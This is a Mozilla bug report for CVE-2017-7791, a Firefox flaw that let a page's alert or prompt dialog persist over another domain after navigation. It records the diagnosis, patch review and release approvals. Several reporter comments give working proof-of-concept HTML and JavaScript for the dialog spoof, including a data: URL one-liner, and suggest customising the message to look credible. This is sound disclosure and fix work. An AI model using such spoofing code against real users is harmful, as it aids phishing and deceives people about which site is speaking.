Bug 1365875 (CVE-2017-7791)

Firefox allows you to insert confirm/alert/prompt dialog in any domain

RESOLVED FIXED in Firefox -esr52

Status

()

defect
RESOLVED FIXED
2 years ago
a year ago

People

(Reporter: jm.acuna73, Assigned: Gijs)

Tracking

({csectype-spoof, sec-moderate})

55 Branch
mozilla56
Points:
---
Bug Flags:
sec-bounty +
qe-verify ?

Firefox Tracking Flags

(firefox-esr5255+ fixed, firefox53 wontfix, firefox54 wontfix, firefox55+ fixed, firefox56+ fixed)

Details

(Whiteboard: [adv-main55+][adv-esr52.3+][post-critsmash-triage])

Attachments

(2 attachments, 2 obsolete attachments)

(Reporter)

Description

2 years ago
User Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

Steps to reproduce:

1- Go to http://createcharts.esy.es/permission-prompt.html
2- Click button

Tested in:

Firefox Nightly 55.0a1 (2017-05-17) (64-bit)
Firefox Developer Edition 54.0a2 (2017-04-18) (32-bits)
Firefox 53.0.2 (32-bit)




Actual results:

Permission Prompt not correctly dismissed on top window navigation
(Reporter)

Comment 1

2 years ago
I have done some checks:

- I can not access the contents of the Google domain. Error: NS_ERROR_XPC_SECURITY_MANAGER_VETO
- I can redirect to another page when I confirm the alert message.
- I can download a file: although the download dialog indicates the source domain, the download is done from Google, which is very disconcerting.

Go to http://localhost/permission-prompt-download.html

Updated

2 years ago
Group: firefox-core-security → core-security
Component: Untriaged → DOM
Product: Firefox → Core
Olli: any thoughts on whether this is more likely to be in DOM-land (not killing the prompt/script from the page we've navigated away from) or front-end (same)?
Flags: needinfo?(bugs)
This looks like a front-end issue.
Normally it can kill alerts when navigating to a new page, but is it missing some condition here?
Flags: needinfo?(bugs)
(Reporter)

Comment 6

2 years ago
Simplified html code:

<script>
function loadIframe() {
	win = open('','_top');
	win.document.open();
	win.document.write('data:text/html,<s'+'cript>location="https://www.google.com";</s'+'cript>');
	win.document.close();
}
function go() {
	var iframe = '<iframe onload="loadIframe();"></iframe>';
	document.body.innerHTML = iframe;
	alert(1);
}
</script>
<input type="button" onclick="go()" value="test"/>


I think the undesired effect is caused by the execution of the open method with data: type and the onload event of a dynamically created iframe.
(Reporter)

Comment 7

2 years ago
Enter the following url in the address bar:

data:text/html,<script>function loadIframe() {win = open('','_top');win.document.open();win.document.write('data:text/html,<s'+'cript>location="https://www.google.com";</s'+'cript>');win.document.close();}function go() {var iframe = '<iframe onload="loadIframe();"></iframe>';document.body.innerHTML = iframe;alert(1);}</script><input type="button" onclick="go()" value="test"/>
Group: core-security → dom-core-security
(Reporter)

Comment 8

2 years ago
You can also customize the alert message to make it more credible.
Access the page http://createcharts.esy.es/permission-prompt-download.html (it is necessary to clear browser's cache)
(Assignee)

Comment 9

2 years ago
(In reply to Olli Pettay [:smaug] from comment #5)
> This looks like a front-end issue.
> Normally it can kill alerts when navigating to a new page, but is it missing
> some condition here?

We listen for pagehide, and the alert is fired after pagehide has already happened (I expect - the pagehide listener we add when creating the alert doesn't fire). I tested listening for unload, too, but that didn't seem to help (though it's possible I made a mistake, of course...). Is there a synchronous way to check when the prompt code is invoked (either in DOM code or in the popup code) whether (the toplevel of) the invoking document has already fired unload/pagehide ?
Flags: needinfo?(bugs)
document.hidden?
Flags: needinfo?(bugs)
document.visibilityState?
(Assignee)

Comment 12

2 years ago
(In reply to Olli Pettay [:smaug] from comment #10)
> document.hidden?

false

(In reply to Olli Pettay [:smaug] from comment #11)
> document.visibilityState?

visible

docshell.isInUnload is also false, but the document URI is still the old URI (not google).

Any other ideas? I'm not sure where to look. I tried:

    domWin.addEventListener("pagehide", pagehide, true);
    domWin.addEventListener("unload", pagehide, true);
    domWin.addEventListener("unload", pagehide);


and none of these fire.

Code is here: http://searchfox.org/mozilla-central/rev/6c2dbacbba1d58b8679cee700fd0a54189e0cf1b/toolkit/components/prompts/src/nsPrompter.js#397 and here: http://searchfox.org/mozilla-central/rev/6c2dbacbba1d58b8679cee700fd0a54189e0cf1b/toolkit/components/prompts/src/nsPrompter.js#476 (one is e10s, one non-e10s, but the concept is the same).
Flags: needinfo?(bugs)
Flags: sec-bounty?
(Reporter)

Comment 13

2 years ago
If it helps:

<script>
function loadIframe() {
	win = open('','_top');
	win.document.open();
	win.document.write('<h3>test</h3><s'+'cript>alert(2);</s'+'cript>');	
	win.document.close();
}
function go() {
	var iframe = '<iframe onload="loadIframe();"></iframe>';
	document.body.innerHTML = iframe;
	alert(1);
}
</script>
<input type="button" onclick="go()" value="test"/>

Javascript execution order (windows):

*) Internet Explorer 11, Opera 45.0.2552.812, Chrome 58.0.3029.110 (64-bit)

1- alert(2)
2- alert(1)

*) Firefox (Nightly, Developer Edition)

1- alert(1)
2- alert(2)
(Reporter)

Comment 14

2 years ago
If we force the execution in second instance, we see that the behavior is correct:

win.document.write('<h3>test</h3><s'+'cript>setTimeout(function(){location=\'https://www.google.com\';},0);</s'+'cript>');
(Reporter)

Comment 15

2 years ago
In the same way with the onfocus event:

win.document.write('<s'+'cript>onfocus=function(){location=\'https://www.google.com\';}</s'+'cript>');
(Reporter)

Comment 16

2 years ago
Some type of advance?
Gijs, so when alert is shown, what is the top level document? We need to hide alert whenever any ancestor document is unloaded.
Flags: needinfo?(bugs)
(Assignee)

Comment 18

2 years ago
(In reply to Olli Pettay [:smaug] from comment #17)
> Gijs, so when alert is shown, what is the top level document? We need to
> hide alert whenever any ancestor document is unloaded.

The old document still, I already noted this in comment #12.
Flags: needinfo?(bugs)
You didn't say which document, top level or iframe.

Gijs, where are you adding the event listener? Remember that document.write after page load creates a new inner window so event listeners on that one are gone.
Add listener to TabChildGlobal?
(Assignee)

Comment 20

2 years ago
(In reply to Olli Pettay [:smaug] from comment #19)
> You didn't say which document, top level or iframe.

Toplevel... I assumed it was obvious - there are no google frames at issue.

> Gijs, where are you adding the event listener? Remember that document.write
> after page load creates a new inner window so event listeners on that one
> are gone.
> Add listener to TabChildGlobal?

How do I do that from the code linked in comment #12 (ie given a dom window reference, how do I find the tabchildglobal) ? And what do you mean by TabChildGlobal when not using e10s?
TabChildGlobal is there always, even without e10s. That is the global used for frame scripts.
You can get nsIContentFrameMessageManager interface from docshell and QI that to EventTarget I think.
Flags: needinfo?(bugs)
Group: dom-core-security → firefox-core-security
Component: DOM → General
Product: Core → Firefox
(Assignee)

Comment 22

2 years ago
Posted patch Patch v0.1 (obsolete) — Splinter Review
MozReview-Commit-ID: 9CaAliVQwYe
(Assignee)

Updated

2 years ago
Assignee: nobody → gijskruitbosch+bugs
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
(Assignee)

Comment 23

2 years ago
Comment on attachment 8874952 [details] [diff] [review]
Patch v0.1

This seems to fix the issue for me. Olli, if you don't feel comfortable reviewing this, please redirect to :dolske .
Attachment #8874952 - Attachment description: , → Patch v0.1
Attachment #8874952 - Attachment filename: . → pagehide-alert-fix
Attachment #8874952 - Flags: review?(bugs)
(Assignee)

Updated

2 years ago
Component: General → Notifications and Alerts
Product: Firefox → Toolkit
Comment on attachment 8874952 [details] [diff] [review]
Patch v0.1

>-    domWin.addEventListener("pagehide", pagehide);
>+    let frameMM = docShell.getInterface(Ci.nsIContentFrameMessageManager);
>+    frameMM.QueryInterface(Ci.nsIDOMEventTarget);
Just to ease reading, I'd put this before function onPromptClose(forceCleanup).

>+    frameMM.addEventListener("pagehide", pagehide);
>     function pagehide() {
>-        domWin.removeEventListener("pagehide", pagehide);
>+        frameMM.removeEventListener("pagehide", pagehide);
So you should now somewhere here check that pagehide is coming from the window you're interested in, or any of its ancestors I guess.
Otherwise if some iframe underneath is unloaded, the prompt is hidden
Similar also elsewhere.
Attachment #8874952 - Flags: review?(bugs) → review-
(Assignee)

Comment 25

2 years ago
(In reply to Olli Pettay [:smaug] from comment #24)
> Comment on attachment 8874952 [details] [diff] [review]
> Patch v0.1
> 
> >-    domWin.addEventListener("pagehide", pagehide);
> >+    let frameMM = docShell.getInterface(Ci.nsIContentFrameMessageManager);
> >+    frameMM.QueryInterface(Ci.nsIDOMEventTarget);
> Just to ease reading, I'd put this before function
> onPromptClose(forceCleanup).
> 
> >+    frameMM.addEventListener("pagehide", pagehide);
> >     function pagehide() {
> >-        domWin.removeEventListener("pagehide", pagehide);
> >+        frameMM.removeEventListener("pagehide", pagehide);
> So you should now somewhere here check that pagehide is coming from the
> window you're interested in, or any of its ancestors I guess.
> Otherwise if some iframe underneath is unloaded, the prompt is hidden
> Similar also elsewhere.

pagehide doesn't bubble, right? Is this somehow different for the frame message manager? Where is this documented?
Flags: needinfo?(bugs)
(Assignee)

Comment 26

2 years ago
Posted patch Patch v0.2 (obsolete) — Splinter Review
Tested locally, and apparently pagehide does bubble for frame message manager event listeners. Updated as per review comments.
(Assignee)

Updated

2 years ago
Attachment #8875213 - Attachment filename: . → pagehide-alert-fix.txt
Flags: needinfo?(bugs)
Attachment #8875213 - Flags: review?(bugs)
(Assignee)

Updated

2 years ago
Attachment #8874952 - Attachment is obsolete: true
(In reply to :Gijs from comment #25)

> 
> pagehide doesn't bubble, right? Is this somehow different for the frame
> message manager? Where is this documented?
pagehide does bubble, otherwise you'd need to use capturing listener. But events don't propagate cross-web-pages, but they do propagate to browser chrome (and TabChildGlobal is part of chrome)
Comment on attachment 8875213 [details] [diff] [review]
Patch v0.2

You want to use capturing event listeners, otherwise web page can just call .stopPropagation(); other option is to use system group event listeners.
Change both addEventListener and removeEventListener calls

With that, r+
Attachment #8875213 - Flags: review?(bugs) → review+
(Assignee)

Comment 29

2 years ago
Posted patch Patch v0.3Splinter Review
(Assignee)

Updated

2 years ago
Attachment #8875213 - Attachment is obsolete: true
(Assignee)

Comment 30

2 years ago
Comment on attachment 8875279 [details] [diff] [review]
Patch v0.3

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
The patch makes it clear there's a problem with in-content prompts not going away in some edgecases. It's hard for me to estimate how easy it would be to figure out from the patch *how* to exploit the alert not going away.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No.

Which older supported branches are affected by this flaw?
Everything (esr, 53, 54, nightly 55)

If not all supported branches, which bug introduced the flaw?
n/a

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
I believe they will be trivial, and the patch is straightforward and therefore not particularly risky.

How likely is this patch to cause regressions; how much testing does it need?
I don't see this as particularly likely to cause regressions, though obviously it will need some kind of testing.
Attachment #8875279 - Attachment filename: . → bug1365875.txt
Attachment #8875279 - Flags: sec-approval?
Attachment #8875279 - Flags: review+
(Assignee)

Updated

2 years ago
See Also: → CVE-2017-7815
It feels too late for 54, as we have no time left to get this tested in beta even if we spin a rc2 this week, but flagging for Gerry FYI.
(In reply to Julien Cristau [:jcristau] from comment #31)
> It feels too late for 54, as we have no time left to get this tested in beta
> even if we spin a rc2 this week, but flagging for Gerry FYI.

Bah, mid-aired with Gijs and then forgot to flag ni? on the second try.
Flags: needinfo?(gchang)
Sec-approval+ for checkin on June 26, two weeks into the new cycle, on trunk. We should have patches for affected branches made and nominated then (Beta and ESR52).
Whiteboard: [checkin on 6/26]
Attachment #8875279 - Flags: sec-approval? → sec-approval+
Group: firefox-core-security → toolkit-core-security
Flags: needinfo?(gchang)
(Assignee)

Comment 34

2 years ago
Comment on attachment 8875279 [details] [diff] [review]
Patch v0.3

remote:   https://hg.mozilla.org/integration/mozilla-inbound/rev/0069f96e7711e0c66d0dc46e79d2635d875724c5

The existing patch grafts onto beta and esr52 without issue for me.


[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
sec-high

User impact if declined:
pages can run prompts on other pages

Fix Landed on Version: 56
Risk to taking this patch (and alternatives if risky): low-ish, relatively simple change, JS-only code, some high level primitive testing for modal dialogs is in place, we still have a considerable amount of time to weed out issues on beta if we uplift now.
String or UUID changes made by this patch: none.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Approval Request Comment
[Feature/Bug causing the regression]: n/a
[User impact if declined]: sec-high security issue
[Is this code covered by automated tests?]: yes, there are some tests, but not for this specific issue.
[Has the fix been verified in Nightly?]: not yet.
[Needs manual test from QE? If yes, steps to reproduce]: yes, see comment #0. The alert/prompt in the tab should go away when another page loads.
[List of other uplifts needed for the feature/fix]: n/a
[Is the change risky?]: not too risky
[Why is the change risky/not risky?]: it's a relatively small, JS-only change, we have some automated testing coverage, and this beta is but young!
[String changes made/needed]: nope
Attachment #8875279 - Flags: approval-mozilla-esr52?
Attachment #8875279 - Flags: approval-mozilla-beta?
Whiteboard: [checkin on 6/26]
https://hg.mozilla.org/mozilla-central/rev/0069f96e7711
Status: ASSIGNED → RESOLVED
Last Resolved: 2 years ago
Resolution: --- → FIXED
Comment on attachment 8875279 [details] [diff] [review]
Patch v0.3

sec-high fix, let's land for 55.0b6
Attachment #8875279 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Group: toolkit-core-security → core-security-release
Attachment #8875279 - Flags: approval-mozilla-esr52? → approval-mozilla-esr52+
Whiteboard: [adv-main55+][adv-esr52.3+]
Alias: CVE-2017-7791
Since this is only modal popups immediately after arriving on a site this is a more moderate spoofing attempt and less like a sec-high same-origin-policy violation.
Flags: sec-bounty? → sec-bounty+
Keywords: sec-highsec-moderate
Flags: qe-verify?
Whiteboard: [adv-main55+][adv-esr52.3+] → [adv-main55+][adv-esr52.3+][post-critsmash-triage]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.